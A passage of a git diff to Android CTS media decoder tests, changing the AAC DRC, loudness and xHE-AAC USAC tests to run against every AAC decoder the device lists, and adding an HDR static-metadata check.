+ decoder.configure(format, surface, null/*crypto*/, 0/*flags*/);
+ decoder.start();
+ try {
+ assertTrue(latch.await(2000, TimeUnit.MILLISECONDS));
+ } catch (InterruptedException e) {
+ fail("playback interrupted");
+ }
+ decoder.stop();
+ decoder.release();
+ }
+ } finally {
+ if (extractor != null) {
+ extractor.release();
+ }
+ if (infd != null) {
+ infd.close();
+ }
+ }
+ }
+
+ private void verifyHdrStaticInfo(String reason, MediaFormat format, String pattern) {
+ ByteBuffer staticMetadataBuffer = format.containsKey("hdr-static-info") ?
+ format.getByteBuffer("hdr-static-info") : null;
+ assertTrue(reason + ": empty",
+ staticMetadataBuffer != null && staticMetadataBuffer.remaining() > 0);
+ assertTrue(reason + ": mismatch",
+ Arrays.equals(loadByteArrayFromString(pattern), staticMetadataBuffer.array()));
+ }
+
+ // helper to load byte[] from a String
+ private byte[] loadByteArrayFromString(final String str) {
+ Pattern pattern = Pattern.compile("[0-9a-fA-F]{2}");
+ Matcher matcher = pattern.matcher(str);
+ // allocate a large enough byte array first
+ byte[] tempArray = new byte[str.length() / 2];
+ int i = 0;
+ while (matcher.find()) {
+ tempArray[i++] = (byte)Integer.parseInt(matcher.group(), 16);
+ }
+ return Arrays.copyOfRange(tempArray, 0, i);
+ }
+
public void testDecodeFragmented() throws Exception {
testDecodeFragmented(R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz,
R.raw.video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_128kbps_44100hz_fragmented);
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
index 86615f5..e4911ed1 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestAacDrc.java
@@ -39,6 +39,7 @@
import java.io.IOException;
import java.nio.ByteBuffer;
+import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -63,7 +64,7 @@
// full boost, full cut, target ref level: -23dBFS, heavy compression: no
DrcParams drcParams = new DrcParams(127, 127, 92, 0);
short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drclevel_mp4,
- -1, null, drcParams);
+ -1, null, drcParams, null /*decoderName: use default decoder*/);
DecoderTest decTester = new DecoderTest();
decTester.checkEnergy(decSamples, decParams, 2, 0.70f);
}
@@ -76,7 +77,7 @@
public void testDecodeAacDrcFullM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcfull_mp4,
- -1, null, null);
+ -1, null, null, null /*decoderName: use default decoder*/);
DecoderTest decTester = new DecoderTest();
decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
}
@@ -91,7 +92,7 @@
// half boost, half cut, target ref level: -20dBFS, heavy compression: no
DrcParams drcParams = new DrcParams(63, 63, 80, 0);
short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drchalf_mp4,
- -1, null, drcParams);
+ -1, null, drcParams, null /*decoderName: use default decoder*/);
DecoderTest decTester = new DecoderTest();
decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
}
@@ -106,7 +107,7 @@
// no boost, no cut, target ref level: -16dBFS, heavy compression: no
DrcParams drcParams = new DrcParams(0, 0, 64, 0); // normalize to -16dBFS
short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcoff_mp4,
- -1, null, drcParams);
+ -1, null, drcParams, null /*decoderName: use default decoder*/);
DecoderTest decTester = new DecoderTest();
decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
}
@@ -121,7 +122,7 @@
// full boost, full cut, target ref level: -16dBFS, heavy compression: yes
DrcParams drcParams = new DrcParams(127, 127, 64, 1);
short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot2_drcheavy_mp4,
- -1, null, drcParams);
+ -1, null, drcParams, null /*decoderName: use default decoder*/);
DecoderTest decTester = new DecoderTest();
decTester.checkEnergy(decSamples, decParams, 2, 0.80f);
}
@@ -134,7 +135,7 @@
public void testDecodeAacDrcClipM4a() throws Exception {
AudioParameter decParams = new AudioParameter();
short[] decSamples = decodeToMemory(decParams, R.raw.sine_2ch_48khz_aot5_drcclip_mp4,
- -1, null, null);
+ -1, null, null, null /*decoderName: use default decoder*/);
checkClipping(decSamples, decParams, 248.0f /* Hz */);
}
@@ -152,35 +153,42 @@
public void testDecodeUsacLoudnessM4a() throws Exception {
Log.v(TAG, "START testDecodeUsacLoudnessM4a");
- // test default loudness
- // decoderTargetLevel = 64 --> target output level = -16.0 dBFs
- try {
- checkUsacLoudness(DEFAULT_DECODER_TARGET_LEVEL, 1, 1.0f);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed");
- throw new RuntimeException(e);
- }
+ ArrayList<String> aacDecoderNames = DecoderTestXheAac.initAacDecoderNames();
+ assertTrue("No AAC decoder found", aacDecoderNames.size() > 0);
- // test loudness boost
- // decoderTargetLevel = 40 --> target output level = -10.0 dBFs
- // normFactor = 1/(10^(-6/10)) = 3.98f
- // where "-6" is the difference between the default level (-16), and -10 for this test
- try {
- checkUsacLoudness(40, 1, (float)(1.0f/Math.pow(10.0f, -6.0f/10.0f)));
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness boost failed");
- throw new RuntimeException(e);
- }
+ for (String aacDecName : aacDecoderNames) {
+ // test default loudness
+ // decoderTargetLevel = 64 --> target output level = -16.0 dBFs
+ try {
+ checkUsacLoudness(DEFAULT_DECODER_TARGET_LEVEL, 1, 1.0f, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacLoudnessM4a for default loudness failed for " +
+ aacDecName);
+ throw new RuntimeException(e);
+ }
- // test loudness attenuation
- // decoderTargetLevel = 96 --> target output level = -24.0 dBFs
- // normFactor = 1/(10^(8/10)) = 0.15f
- // where -8 is the difference between the default level (-16), and -24 for this test
- try {
- checkUsacLoudness(96, 0, (float)(1.0f/Math.pow(10.0f, 8.0f/10.0f)));
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed");
- throw new RuntimeException(e);
+ // test loudness boost
+ // decoderTargetLevel = 40 --> target output level = -10.0 dBFs
+ // normFactor = 1/(10^(-6/10)) = 3.98f
+ // where "-6" is the difference between the default level (-16), and -10 for this test
+ try {
+ checkUsacLoudness(40, 1, (float)(1.0f/Math.pow(10.0f, -6.0f/10.0f)), aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness boost failed for " + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ // test loudness attenuation
+ // decoderTargetLevel = 96 --> target output level = -24.0 dBFs
+ // normFactor = 1/(10^(8/10)) = 0.15f
+ // where 8 is the difference between the default level (-16), and -24 for this test
+ try {
+ checkUsacLoudness(96, 0, (float)(1.0f/Math.pow(10.0f, 8.0f/10.0f)), aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacLoudnessM4a for loudness attenuation failed for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
}
}
@@ -307,16 +315,16 @@
/**
* USAC test DRC loudness
*/
- private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor)
- throws Exception {
+ private void checkUsacLoudness(int decoderTargetLevel, int heavy, float normFactor,
+ String decoderName) throws Exception {
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_def = new DrcParams(127, 127, DEFAULT_DECODER_TARGET_LEVEL, 1);
DrcParams drcParams_test = new DrcParams(127, 127, decoderTargetLevel, heavy);
short[] decSamples_def = decodeToMemory(decParams, R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
- -1, null, drcParams_def);
+ -1, null, drcParams_def, decoderName);
short[] decSamples_test = decodeToMemory(decParams, R.raw.noise_2ch_48khz_aot42_19_lufs_mp4,
- -1, null, drcParams_test);
+ -1, null, drcParams_test, decoderName);
DecoderTestXheAac decTesterXheAac = new DecoderTestXheAac();
float[] nrg_def = decTesterXheAac.checkEnergyUSAC(decSamples_def, decParams, 2, 1);
@@ -388,7 +396,7 @@
// - no need/use of resetMode, configMode
// Split method so code can be shared
private short[] decodeToMemory(AudioParameter audioParams, int testinput,
- int eossample, List<Long> timestamps, DrcParams drcParams)
+ int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
throws IOException
{
String localTag = TAG + "#decodeToMemory";
@@ -413,7 +421,11 @@
assertTrue("not an audio file", mime.startsWith("audio/"));
MediaFormat configFormat = format;
- codec = MediaCodec.createDecoderByType(mime);
+ if (decoderName == null) {
+ codec = MediaCodec.createDecoderByType(mime);
+ } else {
+ codec = MediaCodec.createByCodecName(decoderName);
+ }
// set DRC parameters
if (drcParams != null) {
diff --git a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
index cc294a9..2c549f2 100755
--- a/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
+++ b/tests/tests/media/src/android/media/cts/DecoderTestXheAac.java
@@ -25,6 +25,7 @@
import android.media.cts.DecoderTestAacDrc.DrcParams;
import android.media.MediaCodec;
import android.media.MediaCodecInfo;
+import android.media.MediaCodecList;
import android.media.MediaCodecInfo.CodecCapabilities;
import android.media.MediaExtractor;
import android.media.MediaFormat;
@@ -40,6 +41,7 @@
import java.io.IOException;
import java.nio.ByteBuffer;
+import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
@@ -48,11 +50,39 @@
private Resources mResources;
+ // list of all AAC decoders as enumerated through the MediaCodecList
+ // lazy initialization in setUp()
+ private static ArrayList<String> sAacDecoderNames;
+
@Before
public void setUp() throws Exception {
final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
assertNotNull(inst);
mResources = inst.getContext().getResources();
+ // build a list of all AAC decoders on which to run the test
+ if (sAacDecoderNames == null) {
+ sAacDecoderNames = initAacDecoderNames();
+ }
+ }
+
+ protected static ArrayList<String> initAacDecoderNames() {
+ // at least 1 AAC decoder expected
+ ArrayList<String> aacDecoderNames = new ArrayList<String>(1);
+ final MediaCodecList mediaCodecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+ final MediaCodecInfo[] mediaCodecInfos = mediaCodecList.getCodecInfos();
+ for (MediaCodecInfo mediaCodecInfo : mediaCodecInfos) {
+ if (mediaCodecInfo.isEncoder()) {
+ continue;
+ }
+ final String[] mimeTypes = mediaCodecInfo.getSupportedTypes();
+ for (String mimeType : mimeTypes) {
+ if (MediaFormat.MIMETYPE_AUDIO_AAC.equalsIgnoreCase(mimeType)) {
+ aacDecoderNames.add(mediaCodecInfo.getName());
+ break;
+ }
+ }
+ }
+ return aacDecoderNames;
}
/**
@@ -62,112 +92,119 @@
public void testDecodeUsacDrcEffectTypeM4a() throws Exception {
Log.v(TAG, "START testDecodeUsacDrcEffectTypeM4a");
- // test DRC effectTypeID 1 "NIGHT"
- // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
- // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
- try {
- checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type Night failed");
- throw new RuntimeException(e);
- }
+ assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
- // test DRC effectTypeID 2 "NOISY"
- // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
- // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- try {
- checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type Noisy failed");
- throw new RuntimeException(e);
- }
+ for (String aacDecName : sAacDecoderNames) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a running for dec=" + aacDecName);
+ // test DRC effectTypeID 1 "NIGHT"
+ // L -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+ // R +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+ try {
+ checkUsacDrcEffectType(1, 0.5011f, 1.9952f, "Night", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/0 failed for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 3 "LIMITED"
- // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- try {
- checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type Limited failed");
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 2 "NOISY"
+ // L +3dB -> normalization factor = 1/(10^( 3/10)) = 1.9952f
+ // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ try {
+ checkUsacDrcEffectType(2, 1.9952f, 0.2511f, "Noisy", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/0 failed for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 6 "GENERAL"
- // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
- try {
- checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a effect type General failed");
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 3 "LIMITED"
+ // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ try {
+ checkUsacDrcEffectType(3, 0.2511f, 3.9810f, "Limited", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/0 failed for dec="
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 1 "NIGHT"
- // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- try {
- checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 6 "GENERAL"
+ // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ // R -3dB -> normalization factor = 1/(10^(-3/10)) = 0.5011f
+ try {
+ checkUsacDrcEffectType(6, 3.9810f, 0.5011f, "General", 2, 0, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/0 failed for dec="
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 2 "NOISY"
- // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- // R -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
- // mono +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
- try {
- checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 1 "NIGHT"
+ // L -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ // R +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ // mono -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ try {
+ checkUsacDrcEffectType(1, 0.2511f, 3.9810f, "Night", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(1, 0.2511f, 0.0f, "Night", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/1/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 3 "LIMITED"
- // L -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
- // R +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
- // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
- try {
- checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
- }
+ // test DRC effectTypeID 2 "NOISY"
+ // L +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ // R -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+ // mono +6dB -> normalization factor = 1/(10^( 6/10)) = 3.9810f
+ try {
+ checkUsacDrcEffectType(2, 3.9810f, 0.1258f, "Noisy", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Noisy/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(2, 3.9810f, 0.0f, "Noisy", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Night/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
- // test DRC effectTypeID 6 "GENERAL"
- // L +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
- // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
- // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
- try {
- checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
- }
- try {
- checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a FAILED!");
- throw new RuntimeException(e);
+ // test DRC effectTypeID 3 "LIMITED"
+ // L -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+ // R +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+ // mono -9dB -> normalization factor = 1/(10^(-9/10)) = 0.1258f
+ try {
+ checkUsacDrcEffectType(3, 0.1258f, 7.9432f, "Limited", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(3, 0.1258f, 0.0f, "Limited", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a Limited/1/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ // test DRC effectTypeID 6 "GENERAL"
+ // L +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+ // R -6dB -> normalization factor = 1/(10^(-6/10)) = 0.2511f
+ // mono +9dB -> normalization factor = 1/(10^( 9/10)) = 7.9432f
+ try {
+ checkUsacDrcEffectType(6, 7.9432f, 0.2511f, "General", 2, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/2/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
+ try {
+ checkUsacDrcEffectType(6, 7.9432f, 0.0f, "General", 1, 1, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacDrcEffectTypeM4a General/1/1 for dec=" + aacDecName);
+ throw new RuntimeException(e);
+ }
}
}
@@ -178,44 +215,52 @@
public void testDecodeUsacStreamSwitchingM4a() throws Exception {
Log.v(TAG, "START testDecodeUsacStreamSwitchingM4a");
- // Stereo
- // switch between SBR ratios and stereo modes
- try {
- checkUsacStreamSwitching(2.5459829E12f, 2,
- R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
- throw new RuntimeException(e);
- }
+ assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
- // Mono
- // switch between SBR ratios and stereo modes
- try {
- checkUsacStreamSwitching(2.24669126E12f, 1,
- R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
- throw new RuntimeException(e);
- }
+ for (String aacDecName : sAacDecoderNames) {
+ // Stereo
+ // switch between SBR ratios and stereo modes
+ try {
+ checkUsacStreamSwitching(2.5459829E12f, 2,
+ R.raw.noise_2ch_44_1khz_aot42_19_lufs_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch sbr/stereo switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
- // Stereo
- // switch between USAC modes
- try {
- checkUsacStreamSwitching(2.1E12f, 2,
- R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
- throw new RuntimeException(e);
- }
+ // Mono
+ // switch between SBR ratios and stereo modes
+ try {
+ checkUsacStreamSwitching(2.24669126E12f, 1,
+ R.raw.noise_1ch_38_4khz_aot42_19_lufs_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch sbr/stereo switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
- // Mono
- // switch between USAC modes
- try {
- checkUsacStreamSwitching(1.7E12f, 1,
- R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacStreamSwitchingM4a FAILED!");
- throw new RuntimeException(e);
+ // Stereo
+ // switch between USAC modes
+ try {
+ checkUsacStreamSwitching(2.1E12f, 2,
+ R.raw.noise_2ch_35_28khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 2ch USAC mode switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
+
+ // Mono
+ // switch between USAC modes
+ try {
+ checkUsacStreamSwitching(1.7E12f, 1,
+ R.raw.noise_1ch_29_4khz_aot42_19_lufs_drc_config_change_mp4, aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacStreamSwitchingM4a failed 1ch USAC mode switch for "
+ + aacDecName);
+ throw new RuntimeException(e);
+ }
}
}
@@ -226,16 +271,21 @@
public void testDecodeUsacSamplingRatesM4a() throws Exception {
Log.v(TAG, "START testDecodeUsacSamplingRatesM4a");
- try {
- checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4);
- checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4);
- checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4);
- checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4);
- checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4);
- checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4);
- } catch (Exception e) {
- Log.v(TAG, "testDecodeUsacSamplingRatesM4a FAILED!");
- throw new RuntimeException(e);
+ assertTrue("No AAC decoder found", sAacDecoderNames.size() > 0);
+
+ for (String aacDecName : sAacDecoderNames) {
+ try {
+ checkUsacSamplingRate(R.raw.noise_2ch_08khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_12khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_22_05khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_64khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRate(R.raw.noise_2ch_88_2khz_aot42_19_lufs_mp4, aacDecName);
+ checkUsacSamplingRateWoLoudness(R.raw.noise_2ch_19_2khz_aot42_no_ludt_mp4,
+ aacDecName);
+ } catch (Exception e) {
+ Log.v(TAG, "testDecodeUsacSamplingRatesM4a for decoder" + aacDecName);
+ throw new RuntimeException(e);
+ }
}
}
@@ -248,7 +298,8 @@
* USAC test DRC Effect Type
*/
private void checkUsacDrcEffectType(int effectTypeID, float normFactor_L, float normFactor_R,
- String effectTypeName, int nCh, int aggressiveDrc) throws Exception {
+ String effectTypeName, int nCh, int aggressiveDrc, String decoderName)
+ throws Exception {
int testinput = -1;
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_def = new DrcParams(127, 127, 96, 0, -1);
@@ -265,9 +316,9 @@
}
short[] decSamples_def = decodeToMemory(decParams, testinput,
- -1, null, drcParams_def);
+ -1, null, drcParams_def, decoderName);
short[] decSamples_test = decodeToMemory(decParams, testinput,
- -1, null, drcParams_test);
+ -1, null, drcParams_test, decoderName);
float[] nrg_def = checkEnergyUSAC(decSamples_def, decParams, nCh, 1, 0);
float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, nCh, 1, 1);
@@ -290,14 +341,15 @@
/**
* USAC test stream switching
*/
- private void checkUsacStreamSwitching(float nrg_ref, int encNch, int testinput) throws Exception
+ private void checkUsacStreamSwitching(float nrg_ref, int encNch, int testinput,
+ String decoderName) throws Exception
{
AudioParameter decParams = new AudioParameter();
DrcParams drcParams = new DrcParams(127, 127, 64, 0, -1);
// Check stereo stream switching
short[] decSamples = decodeToMemory(decParams, testinput,
- -1, null, drcParams);
+ -1, null, drcParams, decoderName);
float[] nrg = checkEnergyUSAC(decSamples, decParams, encNch, 1);
float nrgRatio = nrg[0] / nrg_ref;
@@ -313,15 +365,15 @@
/**
* USAC test sampling rate
*/
- private void checkUsacSamplingRate(int testinput) throws Exception {
+ private void checkUsacSamplingRate(int testinput, String decoderName) throws Exception {
AudioParameter decParams = new AudioParameter();
DrcParams drcParams_def = new DrcParams(127, 127, 64, 0, -1);
DrcParams drcParams_test = new DrcParams(127, 127, 96, 0, -1);
short[] decSamples_def = decodeToMemory(decParams, testinput,
- -1, null, drcParams_def);
+ -1, null, drcParams_def, decoderName);
short[] decSamples_test = decodeToMemory(decParams, testinput,
- -1, null, drcParams_test);
+ -1, null, drcParams_test, decoderName);
float[] nrg_def = checkEnergyUSAC(decSamples_def, decParams, 2, 1);
float[] nrg_test = checkEnergyUSAC(decSamples_test, decParams, 2, 1);
@@ -340,12 +392,12 @@
/**
* USAC test sampling rate for streams without loudness application
*/
- private void checkUsacSamplingRateWoLoudness(int testinput) throws Exception {
+ private void checkUsacSamplingRateWoLoudness(int testinput, String decoderName) throws Exception
+ {
AudioParameter decParams = new AudioParameter();
DrcParams drcParams = new DrcParams();
- short[] decSamples = decodeToMemory(decParams, testinput,
- -1, null, drcParams);
+ short[] decSamples = decodeToMemory(decParams, testinput, -1, null, drcParams, decoderName);
float[] nrg = checkEnergyUSAC(decSamples, decParams, 2, 1);
@@ -717,7 +769,7 @@
}
/**
- * Decodes an compressed bitstream in the ISOBMFF into the RAM of the device.
+ * Decodes a compressed bitstream in the ISOBMFF into the RAM of the device.
*
* The decoder decodes compressed audio data as stored in the ISO Base Media File Format
* (ISOBMFF) aka .mp4/.m4a. The decoder is not reproducing the waveform but stores the decoded
@@ -728,10 +780,12 @@
* @param eossample the End-Of-Stream indicator
* @param timestamps the time stamps to decode
* @param drcParams the MPEG-D DRC decoder parameter configuration
+ * @param decoderName if non null, the name of the decoder to use for the decoding, otherwise
+ * the default decoder for the format will be used
* @throws RuntimeException
*/
public short[] decodeToMemory(AudioParameter audioParams, int testinput,
- int eossample, List<Long> timestamps, DrcParams drcParams)
+ int eossample, List<Long> timestamps, DrcParams drcParams, String decoderName)
throws IOException
{
// TODO: code is the same as in DecoderTest, differences are:
@@ -739,7 +793,7 @@
// - no need/use of resetMode, configMode
// Split method so code can be shared
- String localTag = TAG + "#decodeToMemory";
+ final String localTag = TAG + "#decodeToMemory";
short [] decoded = new short[0];
int decodedIdx = 0;
@@ -761,7 +815,11 @@
assertTrue("not an audio file", mime.startsWith("audio/"));
MediaFormat configFormat = format;
- codec = MediaCodec.createDecoderByType(mime);
+ if (decoderName == null) {
+ codec = MediaCodec.createDecoderByType(mime);
+ } else {
+ codec = MediaCodec.createByCodecName(decoderName);
+ }
// set DRC parameters
